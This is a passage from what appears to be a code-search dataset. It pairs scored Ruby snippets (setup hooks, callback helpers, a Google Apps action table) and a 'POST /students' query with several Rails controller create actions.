setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
8086a66676c6908ee8dc02297fce9b92
POST /students POST /students.json
[ { "docid": "6d9d488f846befe3f1dc1db2a6aa7264", "score": "0.6289095", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n # Add the course just created to this student's courses, better use the drop down list \n if params[:course] != nil then\n @student.courses << Course.find(params[:course][:id])\n end\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "b9fc48e0487439541cd53042b4f0ea70", "score": "0.7277736", "text": "def create\n @student = Student.new(student_params)\n\n if @student.save\n render json: @student, status: :created\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "70c8dce2f61b7cdf77b9f818fc304a0a", "score": "0.7135355", "text": "def create\n @student = current_user.students.create(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Registro Exitoso.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4dc262e1fc05a2d16efa395d9de2d22d", "score": "0.71114737", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4dc262e1fc05a2d16efa395d9de2d22d", "score": "0.71114737", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, :notice => 'Student was successfully created.' }\n format.json { render :json => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3dcd9607747f738b8b7312305fbc95f", "score": "0.70372117", "text": "def create\n @student = current_user.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_url, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f17dae11e04b96eed58a94509398857", "score": "0.70311", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f17dae11e04b96eed58a94509398857", "score": "0.70311", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f17dae11e04b96eed58a94509398857", "score": "0.70311", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f17dae11e04b96eed58a94509398857", "score": "0.70311", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f17dae11e04b96eed58a94509398857", "score": "0.70311", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f17dae11e04b96eed58a94509398857", "score": "0.70311", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f17dae11e04b96eed58a94509398857", "score": "0.70311", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0f65111ade326c2686f9c5cd98a7dec", "score": "0.6981121", "text": "def create\n\t\tp = params[:student]\n\t\thash = { :original_name => p['original_name'], :sort_name => Student.make_sort_name(p['original_name']), :other_name => p['other_name'],\n\t\t\t:gender => p['gender'] == 'Male' ? 'M' : 'F', :born => VagueDate.factory(p['born']).to_s, :died => VagueDate.factory(p['died']).to_s,\n\t\t\t:home_town => p['home_town']['town'], :home_state => p['home_town']['state'], :home_country => p['home_town']['country'],\n\t\t\t:biographical_notes => p['biographical_notes'], :quotes => p['quotes'], :additional_notes => p['additional_notes'], :private_notes => p['private_notes'], :is_stub => 0\n\t\t}\n\n\t\t@student = Student.new(hash)\n\t\t@student.generate_unique_name()\n\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tmarriages = parse_array(p['marriage'])\n\t\t\t\tmarriages.each {|marriage|\n\t\t\t\t\tif !marriage['name'].blank?\n\t\t\t\t\t\tMarriage.create_marriage(@student, { :name => marriage['name'] }, marriage['date'])\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tresidences = parse_array(p['residence'])\n\t\t\t\tresidences.each {|residence|\n\t\t\t\t\tif !residence.blank?\n\t\t\t\t\t\tStudentResidence.create_residence(@student, residence)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tBrowse.student_changed(@student, nil)\n\t\t\t\tsolr().add_object(@student.to_solr())\n\n\t\t\t\tformat.html { redirect_to(@student, :notice => 'The student was successfully created.') }\n\t\t\telse\n\t\t\t\tformat.html {\n\t\t\t\t\t@page_title = 'Student'\n\t\t\t\t\tnew_setup()\n\t\t\t\t\trender :action => \"new\"\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "89239240596e470b6096ef5b05278438", "score": "0.6974331", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n format.json { render json :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd2674f24e0b76827b9d53cea72ff335", "score": "0.6952658", "text": "def create\n @student = Student.new(student_params)\n\n if @student.save\n render :show, status: :created, location: @student\n else\n render json: @student.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6951065", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4fa18a95c679ebbfd9aa3c2ab1f2a656", "score": "0.6949918", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4632fa31d127ba14d92a33a86b60a592", "score": "0.6940942", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student,\n notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "825a96d10a5c685217de0dcd1bb72f66", "score": "0.6932588", "text": "def create\n @people_student = People::Student.new(people_student_params)\n\n respond_to do |format|\n if @people_student.save\n format.html { redirect_to @people_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @people_student }\n else\n format.html { render :new }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d1c10d0e3cdcd4f33016b60f60920db", "score": "0.6918164", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_path, notice: 'Student details were successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9778141972d70908f75a7da8c59c842c", "score": "0.6892295", "text": "def create\n # @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "856301593632350ffa84113387f2f712", "score": "0.6883351", "text": "def create\n validate_student(student_params)\n begin\n student = Student.create!(student_params)\n\n render json: {status: 'SUCCESS', message:\"Student registered Successfully with name #{student.name}\", data:student.reload}, status: :ok\n rescue => error\n render json: {message: error}\n end\n end", "title": "" }, { "docid": "41e61e84224b1475da2de8de7fc3cd6c", "score": "0.6882861", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41e61e84224b1475da2de8de7fc3cd6c", "score": "0.6882436", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "454ef99e7f2a8f70c3a8415a4293b034", "score": "0.68339634", "text": "def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39105d8762fba7f2f5abf1266ece2318", "score": "0.68103856", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14b21ad987729b9cafd208f5b75bb195", "score": "0.6717371", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student Info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "18dbd3d88d595a152df0ae92b004b43b", "score": "0.66683", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: '生徒情報が追加されました' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render 